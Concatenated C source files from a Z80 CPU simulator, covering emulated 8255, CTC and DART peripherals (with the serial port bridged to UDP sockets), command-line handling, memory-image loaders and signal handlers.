} else if (iodebug.dart>4) printf("Dart %c: socket bound successfully.\n",'A'+i);
}
}
void exit_io(void) { // called at exit
if (iodebug.dart>4) printf("DART: closing UDP sockets.\n");
close(dart[0].sock);
close(dart[1].sock);
}
// this is written to emulate CTC funtionality if run once per clock -
// however, it is currently called from the cpu wrapper and thus only
// runs once per instruction, and is as such 4-8x slower than realtime.
// (TODO)
// also, this currently doesnt queue interrupts: only the highest priority is
// sent to the cpu and then cleared. TODO: make this match the hardware (ints
// can be acknowledged separately)
void run_counters(void) {
int i;
for (i=3;i>=0;i--) { // in interrupt priority order (most important last)
if (!ctc[i].ints_enabled) continue; // dont bother with counters that arent
// sending interupts
if (!--ctc[i].p_val) { // prescaler empty
ctc[i].p_val=ctc[i].prescaler; // refill it
if (!--ctc[i].c_val) { // counter empty
ctc[i].c_val=ctc[i].tc; // refill it
int_lsb=ctc[i].ivector+(i<<1); // set the interupt (bits 2-1 are the chan)
int_type=INT_INT;
}
}
}
}
// handles all IN opcodes
BYTE io_in(BYTE adr) {
switch (adr&0xfc) { // zero the last two bits since they arent relevant
case ADDR_8255: return p_8255_in(adr);
case ADDR_CTC: return p_ctc_in(adr);
case ADDR_DART: return p_dart_in(adr);
default: io_trap(adr);
}
return 0;
}
// handles all OUT opcodes
void io_out(BYTE adr, BYTE data) {
switch (adr&0xfc) {
case ADDR_8255: return p_8255_out(adr,data);
case ADDR_CTC: return p_ctc_out(adr,data);
case ADDR_DART: return p_dart_out(adr,data);
default: io_trap(adr);
}
}
// trap unused ports
static BYTE io_trap(BYTE adr) {
if (iodebug.other>=D_ERR) printf("--- No device at port %d! Trapping...\n",adr);
if (i_flag) {
cpu_error = IOTRAP;
cpu_state = STOPPED;
}
return((BYTE) 0);
}
static BYTE p_8255_in(BYTE port) {
port&=0x03;
if (0x03==port) {
if (iodebug.pio>=D_CONFR) printf("--- 8255 control port read (0x%02x)\n",pio.control);
return pio.control;
} else {
BYTE portname='A'+port;
if (iodebug.pio>=D_RWOPS) printf("--- 8255 port %c read ",portname);
switch (port) {
case 0:
if (iodebug.pio>=D_INFO) printf("(%c): 0x%02x\n",(pio.conf_port_a)?'i':'o',pio.port_a);
return pio.port_a;
case 1:
if (iodebug.pio>=D_INFO) printf("(%c): 0x%02x\n",(pio.conf_port_b)?'i':'o',pio.port_b);
return pio.port_b;
case 2:
if (iodebug.pio>=D_INFO) printf("(upper:%c lower:%c): 0x%02x\n",
(pio.conf_port_c_upper)?'i':'o',(pio.conf_port_c_lower)?'i':'o',pio.port_c);
return pio.port_c;
}
}
return 0x00; // can never get here, but removes compiler warning
}
static void p_8255_out(BYTE port,BYTE data) {
port&=0x03;
if (0x03==port) { // control word
if (data&0x80) { // mode set
pio.control=data; // saved in case it's read
// port modes: 1 in, 0 out
pio.conf_port_c_lower =data&0x01; // D0
data>>=1;
pio.conf_port_b =data&0x01; // D1
data>>=2;
pio.conf_port_c_upper =data&0x01; // D3
data>>=1;
pio.conf_port_a =data&0x01; // D4
if (iodebug.pio>=D_CONFW)
printf("--- PIO config set: A:%c B:%c C-upper:%c C-lower:%c (0x%02x)\n",
(pio.conf_port_a)?'i':'o',(pio.conf_port_b)?'i':'o',
(pio.conf_port_c_upper)?'i':'o',(pio.conf_port_c_lower)?'i':'o',pio.control);
} else { // bit set / reset
if (iodebug.pio>=D_ERR) printf("--- PIO bit set/reset attempted, but not emulated!\n");
}
} else { // data
char portname='A'+port;
if (iodebug.pio>=D_RWOPS) printf("--- 8255 port %c written: 0x%02x\n",portname,data);
switch (port) {
case 0: pio.port_a=data; break;
case 1: pio.port_b=data; break;
case 2: pio.port_c=data; break;
// no default required as its handled above
}
}
}
// reads the current value of the down counter on the specified channel
static BYTE p_ctc_in(BYTE port) {
port&=0x03;
if (iodebug.ctc>=D_RWOPS) printf("--- CTC chan %d read: 0x%02x.\n",port,ctc[port].c_val);
return ctc[port].c_val;
}
static void p_ctc_out(BYTE port,BYTE data) {
port&=0x03;
ctc_state *thisctc=&ctc[port];
if (thisctc->tc_next) { // if we indicated the next write would be the tc
thisctc->tc=data;
thisctc->tc_next=0;
if (iodebug.ctc>=D_CONFW) printf("--- CTC chan %d TC set to 0x%02x.\n",port,data);
return;
}
if (data&0x01) { // control word
thisctc->ints_enabled=(data&0x80)?1:0;
thisctc->tc_next=(data&0x04)?1:0;
thisctc->prescaler=(data&0x20)?255:15;
if (iodebug.ctc>=D_CONFW) printf("--- CTC chan %d config word set: 0x%02x. ",port,data);
if (thisctc->ints_enabled) {
if (iodebug.ctc>=D_CONFW) printf("(ints enabled)\n");
} else {
if (iodebug.ctc>=D_CONFW) printf("(ints disabled)\n");
}
} else { // vector word
// there is only one interrupt vector register on the chip, since
// bits 2-1 contain the channel.
//thisctc->ivector=(data&0xf8)|(port<<1);
// set vector for all channels. TODO: this needs to be cleaner.
ctc[0].ivector=data&0xf8;
ctc[0].ivector=data&0xf8;
ctc[0].ivector=data&0xf8;
ctc[0].ivector=data&0xf8;
if (iodebug.ctc>=D_CONFW) printf("--- CTC chan %d ivector set: 0x%02x.\n",port,data);
}
}
/* --- DART / SIO ---
*
* Implemented: async mode, polling
* Unimplemented: all other modes, interrupts (TODO)
*
* Notes:
* - there are a few differences between chan A and B, but they are
* treated identically here.
*/
static BYTE p_dart_in(BYTE port) {
port&=0x03;
char chan='A'+(port&0x01);
char pre[17]; // preamble of our status lines
sprintf(pre,"--- DART chan %c:",chan);
BYTE resp=0x00;
dart_state *thisdart=&dart[port&0x01];
if (port&0x02) { // control
switch (thisdart->reg_ptr) {
case 0: // RR0
// check the socket before we can respond
// TODO: read directly into cb
thisdart->recvlen=recvfrom(thisdart->sock,thisdart->rx_buf,DART_BUFSIZE,MSG_DONTWAIT,
(struct sockaddr *)&(thisdart->remaddr),&(thisdart->addrlen));
if (iodebug.dart>=D_ALL) printf("!-- DART %c sock read, %d bytes returned from %s.\n",
chan,thisdart->recvlen,inet_ntoa(thisdart->remaddr.sin_addr));
if ((thisdart->recvlen)&&(!thisdart->have_client)) thisdart->have_client++;
int i;
if (thisdart->recvlen) {
for (i=0;i<thisdart->recvlen;i++) {
if ((thisdart->cbused)<DART_BUFSIZE) {
thisdart->rx_fifo[thisdart->cbtail++]=thisdart->rx_buf[i];
if (thisdart->cbtail>DART_BUFSIZE) thisdart->cbtail-=DART_BUFSIZE; // handle wrap
thisdart->cbused++;
} else {
thisdart->rx_buf_overrun=1; // TODO: document this behavior
if (iodebug.dart>=D_ALL) printf("!-- DART %c rx buf overrun: %d bytes.\n",
chan,thisdart->recvlen);
}
}
}
// separate but latched like this for flexibility later
thisdart->rx_char_avail=thisdart->cbused;
// D7: break/abort. never happens here. could emulate later if needed.
// D6: Tx underrun
resp|=thisdart->cts_<<5; // CTS D5
// D4: SYNC/Hunt. unused for async.
resp|=thisdart->dcd_<<3; // DCD D3
resp|=0x04; // tx buffer is always empty in our case (D2)
// D1: int pending (no ints emulated)
resp|=(thisdart->rx_char_avail>0); // rx char available D0
break;
case 1: // RR1
// D7: SDLC end of frame (unused in async)
// D6: framing error (wont happen here, but could emulate later if needed)
resp|=(thisdart->rx_buf_overrun<<5); // D5: rx overrun
// D4: parity error (we arent implementing parity)
// D3-1: SDLC residue codes (unused in async)
resp|=thisdart->all_sent; // D0: all sent
break;
default:
if (iodebug.dart>=D_ERR) printf("%s RR%d requested, but nonexistant.\n",pre,thisdart->reg_ptr);
}
thisdart->reg_ptr=0; // back to 0 after any read or write
return resp;
} else { // data
if (thisdart->cbused) {
resp=thisdart->rx_fifo[thisdart->cbhead++];
if (thisdart->cbhead>DART_BUFSIZE) thisdart->cbhead-=DART_BUFSIZE;
thisdart->cbused--;
return resp;
} else {
if (iodebug.dart>=D_ERR) printf("--! DART: read from empty buf!\n");
}
return 0x00;
/*if (thisdart->rx_char_avail) {
thisdart->rx_char_avail--;
return thisdart->rx_buf[0];
} else {
printf("%s read, but no chars available.\n",pre);
return 0x00;
}*/
}
//return((BYTE) getchar());
}
static void p_dart_out(BYTE port,BYTE data) {
port&=0x03;
char chan='A'+(port&0x01);
char pre[17]; // preamble of our status lines
sprintf(pre,"--- DART chan %c:",chan);
dart_state *thisdart=&dart[port&0x01];
// TODO: split this up and make it easier to read
if (port&0x02) { // control word
if (thisdart->reg_ptr) { // write is to a config reg (WR1-7)
switch (thisdart->reg_ptr) {
case 1: // WR1: interrupt config
if (data) { // nonzero interrupt flags set (unimplemented)
if (iodebug.dart>=D_UNIMPL) printf("%s WR1 (ints) written (0x%02x), but unimplemented.\n",
pre,data);
} else {
if (iodebug.dart>=D_CONFW) printf("%s WR1 (ints) set zero.\n",pre);
}
thisdart->interrupt_mode=data;
break;
case 2: // WR2: interrupt vector
if ('A'==chan) {
if (iodebug.dart>=D_ERR)
printf("%s WR2 (int vector) written, but exists only in B. (0x%02x)\n",pre,data);
} else {
if (iodebug.dart>=D_UNIMPL)
printf("%s WR2 (int vector) written, but unimplemented. (0x%02x)\n",pre,data);
}
break;
case 3: // WR3: rx config
if (0xc0!=(data&0xc0)) {
if (iodebug.dart>=D_UNIMPL) printf("%s WR3: RX bits set, but not 8! (0x%02x)\n",pre,data);
} else {
thisdart->rx_bits=8;
if (iodebug.dart>=D_CONFW) printf("%s WR3: RX bits set to 8.\n",pre);
}
if (data&0x3e) {
if (iodebug.dart>=D_UNIMPL)
printf("%s WR3: unimplemented conf requested! (0x%02x)\n",pre,data);
}
break;
case 4: // WR4: prescaler, parity, stop bits
thisdart->parity=data&0x01;
if (thisdart->parity) {
if (iodebug.dart>=D_UNIMPL) printf("%s WR4: parity requested, but unimplemented.\n",pre);
} else {
if (iodebug.dart>=D_CONFW) printf("%s WR4: parity set to none.\n",pre);
}
// D1 is odd/even parity, but not checking since we dont care
thisdart->stopbits=(data&0x0c)>>2;
if (1==thisdart->stopbits) {
if (iodebug.dart>=D_CONFW) printf("%s WR4: 1 stop bit selected.\n",pre);
} else {
if (iodebug.dart>=D_UNIMPL) printf("%s WR4: stop bits val %d set, but unimplemented.\n",
pre,thisdart->stopbits);
}
// these magic numbers just set clk_prescale to the values listed on pg 286
// of the Z80 peripherals doc (UM008101-0601)
thisdart->clk_prescale=(data&0xc0)>>6;
thisdart->clk_prescale=(thisdart->clk_prescale)?(0x10<<(thisdart->clk_prescale-1)):1;
if (iodebug.dart>=D_CONFW)
printf("%s WR4: clock prescale set to x%d.\n",pre,thisdart->clk_prescale);
break;
case 5: // WR5: tx config and status pins
if (data&0x01) {
if (iodebug.dart>=D_UNIMPL) printf("%s WR5: Tx CRC enabled, but unimplemented.\n",pre);
}
// normally in async mode, the RTS pin is only active (low) after all bits
// are sent, but since we aren't emulating at that level, we allow it to be
// set manually here.
thisdart->rts_=(data&0x02)?0:1; // active low
thisdart->tx_enabled=(data&0x08)>>3;
// since we arent emulating at this low a level, support only 8 bits per char
thisdart->tx_bits=8;
if ((data&0x60)==0x60) {
if (iodebug.dart>=D_CONFW) printf("%s WR5: Tx bits/char set to 8.\n",pre);
} else {
if (iodebug.dart>=D_UNIMPL)
printf("%s WR5: Tx bits/char set to something other than 8! Using 8.\n",pre);
}
thisdart->dtr_=(data&0x80)?0:1; // active low
break;
default: // WR6 and WR7 exist in the SIO series only
if (iodebug.dart>=D_UNIMPL)
printf("%s WR%d written (0x%02x), but unimplemented.\n",pre,thisdart->reg_ptr,data);
}
thisdart->reg_ptr=0; // following read or write to any reg, ptr set back to WR0
} else { // this write is to WR0
thisdart->reg_ptr=data&0x07; // last 3 bits set the WR pointer
if (iodebug.dart>=D_INFO) printf("%s reg pointer set to %d.\n",pre,thisdart->reg_ptr);
BYTE cmd=(data&0x38)>>3;
// if cmd is 'channel reset', do it:
if (3==cmd) {
if (iodebug.dart>=D_WARN) printf("%s Channel reset.\n",pre);
dart_reset(thisdart);
} else if (cmd) { // otherwise if it's not the 'Null' cmd, complain:
if (iodebug.dart>=D_UNIMPL) printf("%s Unimplemented CMD bits written to WR0: 0x%02x\n",
pre,data);
}
if (data&0xc0) {
if (iodebug.dart>=D_UNIMPL) printf("%s CRC reset requested, but unimplemented.\n",pre);
}
}
} else { // data word
// TODO: error if configuration is wack
if (iodebug.dart>=D_RWOPS) printf("%s write: 0x%02x.\n",pre,data);
if (thisdart->have_client) {
if (0>sendto(thisdart->sock,&data,1,0,(struct sockaddr *)&(thisdart->remaddr),
thisdart->addrlen))
perror("sendto");
}
}
/*if (!(port&0x03)) { // serial console: ch A data
putchar((int)data);
fflush(stdout);
return;
}*/
}
static void dart_reset(dart_state *dart) {
dart->clk_prescale=0;
dart->rx_bits=0;
dart->tx_bits=0;
dart->rx_enabled=0;
dart->tx_enabled=0;
dart->stopbits=0;
dart->parity=0;
dart->interrupt_mode=0;
dart->reg_ptr=0;
dart->tx_buf_empty=1;
dart->rx_char_avail=0;
dart->all_sent=0;
dart->rx_buf_overrun=0;
dart->cbhead=0;
dart->cbtail=0;
dart->cbused=0;
}
|
jackcarrozzo/z80sim
|
main.c
|
<filename>main.c
/*
* This modul contains the 'main()' function of the simulator,
* where the options are checked and variables are initialized.
* After initialization of the UNIX interrupts ( int_on() )
* and initialization of the I/O simulation ( init_io() )
* the user interface ( mon() ) is called.
*/
// changed: help, added getopt, fixed file loading. -jc
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <ctype.h>
#include <fcntl.h>
#include <memory.h>
#include <getopt.h>
#include "config.h"
#include "global.h"
#define BUFSIZE 256 /* buffer size for file I/O */
int load_core(void);
static void save_core(void);
static int load_mos(int, char *), load_hex(char *), load_bin(char *), checksum(char *);
extern void int_on(void), int_off(void), mon(void);
extern void init_io(void), exit_io(void);
extern int exatoi(char *);
void help(char *name) {
#ifndef Z80_UNDOC
printf("usage:\t%s -s -l -i -mn -q -fn -xfilename\n",name);
#else
printf("usage:\t%s -s -l -i -z -mn -q -fn -xfilename\n",name);
#endif
puts("\ts = save core and cpu on exit");
puts("\tl = load core and cpu on start");
puts("\ti = trap on I/O to unused ports");
#ifdef Z80_UNDOC
puts("\tz = trap on undocumented Z80 ops");
#endif
puts("\tm = init memory with n");
puts("\tf = CPU frequenzy n in MHz");
puts("\tx = load and execute filename");
puts("\tq = exit on HALT");
exit(1);
}
int main(int argc, char **argv) {
register char *s, *p;
register char *pn = argv[0];
#ifdef CPU_SPEED
f_flag = CPU_SPEED;
tmax = CPU_SPEED * 10000;
#endif
const struct option long_opts[] = {
{"help", no_argument, NULL, 'h'},
{"savecore", required_argument, NULL, 's'},
{"loadcore", required_argument, NULL, 'l'},
{"trapio", no_argument, NULL, 'i'},
#ifdef Z80_UNDOC
{"trapundoc", no_argument, NULL, 'z'},
#endif
{"initmem", required_argument, NULL, 'm'},
{"cpufreq", required_argument, NULL, 'f'},
{"run", required_argument, NULL, 'x'},
{"haltquit", no_argument, NULL, 'q'},
{NULL,0,NULL,0}
};
const char *short_opts = "hs:l:izm:f:x:q";
int option_index=0;
int c;
while ((c=getopt_long(argc,argv,short_opts,long_opts,&option_index))!=-1) {
switch (c) {
case 'h':
help(pn);
case 's':
s_flag=1;
break;
case 'l':
l_flag=1;
break;
case 'i':
break;
#ifdef Z80_UNDOC
case 'z':
z_flag=1;
break;
#endif
case 'm':
m_flag=exatoi(optarg);
break;
case 'f':
f_flag=atoi(optarg);
tmax=f_flag*10000;
break;
case 'x':
x_flag=1;
p=xfn;
s=&optarg[0];
while (*s) *p++=*s++;
*p='\0';
break;
case 'q':
q_flag=1;
break;
case '?':
help(pn);
default:
help(pn);
}
}
putchar('\n');
puts("####### ##### ### ##### ### # #");
puts(" # # # # # # # # ## ##");
puts(" # # # # # # # # # # #");
puts(" # ##### # # ##### ##### # # # #");
puts(" # # # # # # # # #");
puts(" # # # # # # # # # #");
puts("####### ##### ### ##### ### # #");
printf("\nRelease %s,%s\n",RELEASE,COPYR);
#ifdef USR_COM
printf("%s %s\n",USR_REL,USR_COM);
#endif
if (f_flag > 0)
printf("\nCPU speed is %d MHz\n", f_flag);
else
printf("\nCPU speed is unlimited\n");
fflush(stdout);
wrk_ram = PC = ram;
STACK = ram + 0xffff;
memset((char *) ram, m_flag, 65536);
if (l_flag)
if (load_core()) return(1);
int_on();
init_io();
mon();
if (s_flag) save_core();
exit_io();
int_off();
return(0);
}
/*
* This function saves the CPU and the memory into the file core.z80
*
*/
static void save_core(void)
{
int fd;
if ((fd = open("core.z80", O_WRONLY | O_CREAT, 0600)) == -1) {
puts("can't open file core.z80");
return;
}
write(fd, (char *) &A, sizeof(A));
write(fd, (char *) &F, sizeof(F));
write(fd, (char *) &B, sizeof(B));
write(fd, (char *) &C, sizeof(C));
write(fd, (char *) &D, sizeof(D));
write(fd, (char *) &E, sizeof(E));
write(fd, (char *) &H, sizeof(H));
write(fd, (char *) &L, sizeof(L));
write(fd, (char *) &A_, sizeof(A_));
write(fd, (char *) &F_, sizeof(F_));
write(fd, (char *) &B_, sizeof(B_));
write(fd, (char *) &C_, sizeof(C_));
write(fd, (char *) &D_, sizeof(D_));
write(fd, (char *) &E_, sizeof(E_));
write(fd, (char *) &H_, sizeof(H_));
write(fd, (char *) &L_, sizeof(L_));
write(fd, (char *) &I, sizeof(I));
write(fd, (char *) &IFF, sizeof(IFF));
write(fd, (char *) &R, sizeof(R));
write(fd, (char *) &PC, sizeof(PC));
write(fd, (char *) &STACK, sizeof(STACK));
write(fd, (char *) &IX, sizeof(IX));
write(fd, (char *) &IY, sizeof(IY));
write(fd, (char *) ram, 65536);
close(fd);
}
/*
* This function loads the CPU and memory from the file core.z80
*
*/
int load_core(void)
{
int fd;
if ((fd = open("core.z80", O_RDONLY)) == -1) {
puts("can't open file core.z80");
return(1);
}
read(fd, (char *) &A, sizeof(A));
read(fd, (char *) &F, sizeof(F));
read(fd, (char *) &B, sizeof(B));
read(fd, (char *) &C, sizeof(C));
read(fd, (char *) &D, sizeof(D));
read(fd, (char *) &E, sizeof(E));
read(fd, (char *) &H, sizeof(H));
read(fd, (char *) &L, sizeof(L));
read(fd, (char *) &A_, sizeof(A_));
read(fd, (char *) &F_, sizeof(F_));
read(fd, (char *) &B_, sizeof(B_));
read(fd, (char *) &C_, sizeof(C_));
read(fd, (char *) &D_, sizeof(D_));
read(fd, (char *) &E_, sizeof(E_));
read(fd, (char *) &H_, sizeof(H_));
read(fd, (char *) &L_, sizeof(L_));
read(fd, (char *) &I, sizeof(I));
read(fd, (char *) &IFF, sizeof(IFF));
read(fd, (char *) &R, sizeof(R));
read(fd, (char *) &PC, sizeof(PC));
read(fd, (char *) &STACK, sizeof(STACK));
read(fd, (char *) &IX, sizeof(IX));
read(fd, (char *) &IY, sizeof(IY));
read(fd, (char *) ram, 65536);
close(fd);
return(0);
}
/*
* Read a file into the memory of the emulated CPU.
* The following file formats are supported:
*
* binary images with Mostek header
* Intel hex
*/
int load_file(char *s)
{
char fn[LENCMD];
BYTE fileb[5];
register char *pfn = fn;
int fd;
while (isspace((int)*s))
s++;
while (*s != ',' && *s != '\n' && *s != '\0')
*pfn++ = *s++;
*pfn = '\0';
if (strlen(fn) == 0) {
puts("no input file given");
return(1);
}
if ((fd = open(fn, O_RDONLY)) == -1) {
printf("can't open file %s\n", fn);
return(1);
}
if (*s == ',')
wrk_ram = ram + exatoi(++s);
else
wrk_ram = NULL;
read(fd, (char *) fileb, 5); /* read first 5 bytes of file */
if (*fileb == (BYTE) 0xff) { /* Mostek header ? */
lseek(fd, 0l, 0);
printf("Reading as Mostek file.\n");
return (load_mos(fd, fn));
}
else {
close(fd);
//printf("Reading as Intel hex file.\n"); // TODO: add flag for this
//return (load_hex(fn));
printf("Reading as flat binary file...\n");
return (load_bin(fn));
}
}
/*
* Loader for binary images with Mostek header.
* Format of the first 3 bytes:
*
* 0xff ll lh
*
* ll = load address low
* lh = load address high
*/
static int load_mos(int fd, char *fn)
{
BYTE fileb[3];
unsigned count, readed;
int rc = 0;
read(fd, (char *) fileb, 3); /* read load address */
if (wrk_ram == NULL) /* and set if not given */
wrk_ram = ram + (fileb[2] * 256 + fileb[1]);
count = ram + 65535 - wrk_ram;
if ((readed = read(fd, (char *) wrk_ram, count)) == count) {
puts("Too much to load, stopped at 0xffff");
rc = 1;
}
close(fd);
printf("\nLoader statistics for file %s:\n", fn);
printf("START : %04x\n", (unsigned int)(wrk_ram - ram));
printf("END : %04x\n", (unsigned int)(wrk_ram - ram + readed - 1));
printf("LOADED: %04x\n\n", readed);
PC = wrk_ram;
return(rc);
}
/*
* Loader for flat binary
*/
static int load_bin(char *fn)
{
FILE *fd;
int addr = 0;
int saddr = 0;
int eaddr = 0;
if ((fd = fopen(fn, "rb")) == NULL) {
printf("can't open file %s\n", fn);
return(1);
}
fseek(fd, 0, SEEK_END);
unsigned long flen=ftell(fd);
fseek(fd, 0, SEEK_SET);
fread(ram+addr,flen,1,fd);
eaddr=addr+flen;
fclose(fd);
printf("\nLoader statistics for file %s:\n", fn);
printf("START : 0x%04x\n", saddr);
printf("END : 0x%04x\n", eaddr);
printf("LOADED: 0x%04x (%d)\n\n", eaddr - saddr + 1, eaddr - saddr + 1);
PC = wrk_ram = ram + saddr;
return(0);
}
/*
* Loader for Intel hex
*/
static int load_hex(char *fn)
{
register int i;
FILE *fd;
char buf[BUFSIZE];
char *s;
int count = 0;
int addr = 0;
int saddr = 0xffff;
int eaddr = 0;
int data;
if ((fd = fopen(fn, "r")) == NULL) {
printf("can't open file %s\n", fn);
return(1);
}
while (fgets(&buf[0], BUFSIZE, fd) != NULL) {
s = &buf[0];
while (isspace(*s))
s++;
if (*s != ':')
continue;
if (checksum(s + 1) != 0) {
printf("invalid checksum in hex record: %s\n", s);
return(1);
}
s++;
count = (*s <= '9') ? (*s - '0') << 4 :
(*s - 'A' + 10) << 4;
s++;
count += (*s <= '9') ? (*s - '0') :
(*s - 'A' + 10);
s++;
if (count == 0)
break;
addr = (*s <= '9') ? (*s - '0') << 4 :
(*s - 'A' + 10) << 4;
s++;
addr += (*s <= '9') ? (*s - '0') :
(*s - 'A' + 10);
s++;
addr *= 256;
addr += (*s <= '9') ? (*s - '0') << 4 :
(*s - 'A' + 10) << 4;
s++;
addr += (*s <= '9') ? (*s - '0') :
(*s - 'A' + 10);
s++;
if (addr < saddr)
saddr = addr;
eaddr = addr + count - 1;
s += 2;
for (i = 0; i < count; i++) {
data = (*s <= '9') ? (*s - '0') << 4 :
(*s - 'A' + 10) << 4;
s++;
data += (*s <= '9') ? (*s - '0') :
(*s - 'A' + 10);
s++;
*(ram + addr + i) = data;
}
}
fclose(fd);
printf("\nLoader statistics for file %s:\n", fn);
printf("START : %04x\n", saddr);
printf("END : %04x\n", eaddr);
printf("LOADED: %04x\n\n", eaddr - saddr + 1);
PC = wrk_ram = ram + saddr;
return(0);
}
/*
* Verify checksum of Intel hex records
*/
static int checksum(char *s)
{
int chk = 0;
while (*s != '\n') {
chk += (*s <= '9') ?
(*s - '0') << 4 :
(*s - 'A' + 10) << 4;
s++;
chk += (*s <= '9') ?
(*s - '0') :
(*s - 'A' + 10);
s++;
}
if ((chk & 255) == 0)
return(0);
else
return(1);
}
|
jackcarrozzo/z80sim
|
global.h
|
<filename>global.h<gh_stars>1-10
/*
* Z80SIM - a Z80-CPU simulator
*
* Copyright (C) 1987-2008 by <NAME>
*
* History:
* 28-SEP-87 Development on TARGON/35 with AT&T Unix System V.3
* 11-JAN-89 Release 1.1
* 08-FEB-89 Release 1.2
* 13-MAR-89 Release 1.3
* 09-FEB-90 Release 1.4 Ported to TARGON/31 M10/30
* 20-DEC-90 Release 1.5 Ported to COHERENT 3.0
* 10-JUN-92 Release 1.6 long casting problem solved with COHERENT 3.2
* and some optimization
* 25-JUN-92 Release 1.7 comments in english and ported to COHERENT 4.0
* 02-OCT-06 Release 1.8 modified to compile on modern POSIX OS's
* 18-NOV-06 Release 1.9 modified to work with CP/M sources
* 08-DEC-06 Release 1.10 modified MMU for working with CP/NET
* 17-DEC-06 Release 1.11 TCP/IP sockets for CP/NET
* 25-DEC-06 Release 1.12 CPU speed option
* 19-FEB-07 Release 1.13 various improvements
* 06-OCT-07 Release 1.14 bug fixes and improvements
* 06-AUG-08 Release 1.15 many improvements and Windows support via Cygwin
* 25-AUG-08 Release 1.16 console status I/O loop detection and line discipline
* 20-OCT-08 Release 1.17 frontpanel integrated and Altair/IMSAI emulations
*/
/*
* Declaration of variables in simglb.c
*/
extern BYTE A, B, C, D, E, H, L, A_, B_, C_, D_, E_, H_, L_,
*PC, *STACK, I, IFF;
extern WORD IX, IY;
extern int F, F_;
extern long R;
extern BYTE mem_wp;
#ifdef BUS_8080
extern BYTE cpu_bus;
#endif
extern BYTE ram[],*wrk_ram, cpu_state;
extern int s_flag, l_flag, m_flag, x_flag, break_flag, i_flag, f_flag, q_flag,
cpu_error, int_type, int_mode, int_lsb, int_vect, cntl_c, cntl_bs,
parrity[], sb_next;
#ifdef Z80_UNDOC
extern int z_flag;
#endif
extern int tmax;
extern int busy_loop_cnt[];
extern char xfn[];
#ifdef HISIZE
extern struct history his[];
extern int h_next, h_flag;
#endif
#ifdef SBSIZE
extern struct softbreak soft[];
#endif
#ifdef WANT_TIM
extern long t_states;
extern int t_flag;
extern BYTE *t_start, *t_end;
#endif
#ifdef FRONTPANEL
extern unsigned long long fp_clock;
extern WORD fp_led_address;
extern BYTE fp_led_data;
#endif
|
jackcarrozzo/z80sim
|
interrupt.c
|
/*
* Z80SIM - a Z80-CPU simulator
*
* Copyright (C) 1987-2008 by <NAME>
*
* History:
* 28-SEP-87 Development on TARGON/35 with AT&T Unix System V.3
* 11-JAN-89 Release 1.1
* 08-FEB-89 Release 1.2
* 13-MAR-89 Release 1.3
* 09-FEB-90 Release 1.4 Ported to TARGON/31 M10/30
* 20-DEC-90 Release 1.5 Ported to COHERENT 3.0
* 10-JUN-92 Release 1.6 long casting problem solved with COHERENT 3.2
* and some optimization
* 25-JUN-92 Release 1.7 comments in english and ported to COHERENT 4.0
* 02-OCT-06 Release 1.8 modified to compile on modern POSIX OS's
* 18-NOV-06 Release 1.9 modified to work with CP/M sources
* 08-DEC-06 Release 1.10 modified MMU for working with CP/NET
* 17-DEC-06 Release 1.11 TCP/IP sockets for CP/NET
* 25-DEC-06 Release 1.12 CPU speed option
* 19-FEB-07 Release 1.13 various improvements
* 06-OCT-07 Release 1.14 bug fixes and improvements
* 06-AUG-08 Release 1.15 many improvements and Windows support via Cygwin
* 25-AUG-08 Release 1.16 console status I/O loop detection and line discipline
* 20-OCT-08 Release 1.17 frontpanel integrated and Altair/IMSAI emulations
*/
/*
* This module contain the interrupt handlers for the OS:
*
* int_on() : initialize interrupt handlers
* int_off() : reset interrupts to default
* user_int() : handler for user interrupt (CNTL-C)
* quit_int() : handler for signal "quit" (CNTL-\)
* term_int() : handler for signal SIGTERM when process is killed
*/
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <termios.h>
#include <signal.h>
#include "config.h"
#include "global.h"
static void user_int(int), quit_int(int), term_int(int);
extern void exit_io(void), int_off();
extern struct termios old_term;
void int_on(void)
{
static struct sigaction newact;
newact.sa_handler = user_int;
sigaction(SIGINT, &newact, NULL);
newact.sa_handler = quit_int;
sigaction(SIGQUIT, &newact, NULL);
newact.sa_handler = term_int;
sigaction(SIGTERM, &newact, NULL);
}
void int_off(void)
{
static struct sigaction newact;
newact.sa_handler = SIG_DFL;
sigaction(SIGINT, &newact, NULL);
sigaction(SIGQUIT, &newact, NULL);
sigaction(SIGTERM, &newact, NULL);
}
static void user_int(int sig)
{
#ifdef CNTL_C
cpu_error = USERINT;
cpu_state = STOPPED;
#else
cntl_c++;
#endif
}
static void quit_int(int sig)
{
#ifdef CNTL_BS
cpu_error = USERINT;
cpu_state = STOPPED;
#else
cntl_bs++;
#endif
}
static void term_int(int sig)
{
exit_io();
int_off();
tcsetattr(0, TCSADRAIN, &old_term);
puts("\nKilled by user");
exit(0);
}
|
jackcarrozzo/z80sim
|
io.h
|
typedef struct {
char pio;
char ctc;
char dart;
char other;
} t_iodebug;
// i've used BYTE to match the original code here, but
// unsigned char or uint8_t would work identically
// 82c55-specific (mode 0 only)
typedef struct {
// last values latched here
BYTE port_a;
BYTE port_b;
BYTE port_c;
BYTE control;
// internal states
BYTE conf_port_a;
BYTE conf_port_b;
BYTE conf_port_c_lower;
BYTE conf_port_c_upper;
} pio_state;
typedef struct {
BYTE ints_enabled;
BYTE tc_next;
BYTE tc;
BYTE ivector;
BYTE c_val;
BYTE prescaler;
BYTE p_val;
} ctc_state;
typedef struct { // see note in io.c about compatibility
// conf vars
BYTE clk_prescale; // WR4
BYTE rx_bits; // WR3 (bits per char)
BYTE tx_bits; // WR5
BYTE rx_enabled; // WR5
BYTE tx_enabled; // WR3
BYTE stopbits; // WR4
BYTE parity; // WR4
BYTE interrupt_mode;// WR1
BYTE reg_ptr; // bits 2-0 in WR0
// runtime vars
BYTE tx_buf_empty; // RR0 D2
BYTE rx_char_avail; // RR0 D0 (actually 0-4 in our case: used internally for buf size)
BYTE all_sent; // RR1 D0
BYTE rx_buf_overrun;// RR1 D5 (latched till reset)
// socket things
struct sockaddr_in ouraddr;
struct sockaddr_in remaddr;
socklen_t addrlen;
int recvlen;
int sock;
int have_client;
// received data is read into rx_buf, then copied into rx_fifo for a number of reasons
BYTE rx_buf[DART_BUFSIZE]; // the intermediate
BYTE rx_fifo[DART_BUFSIZE]; // the circular ring buf
int cbhead,cbtail,cbused; // ring buffer management
// status pins
// can be read and written via register, but currently
// are not automatically set from internal conditions. (TODO)
BYTE rts_;
BYTE dtr_;
BYTE cts_;
BYTE dcd_;
} dart_state;
void init_io(void);
void exit_io(void);
void run_counters(void);
BYTE io_in(BYTE);
void io_out(BYTE,BYTE);
static BYTE io_trap(BYTE);
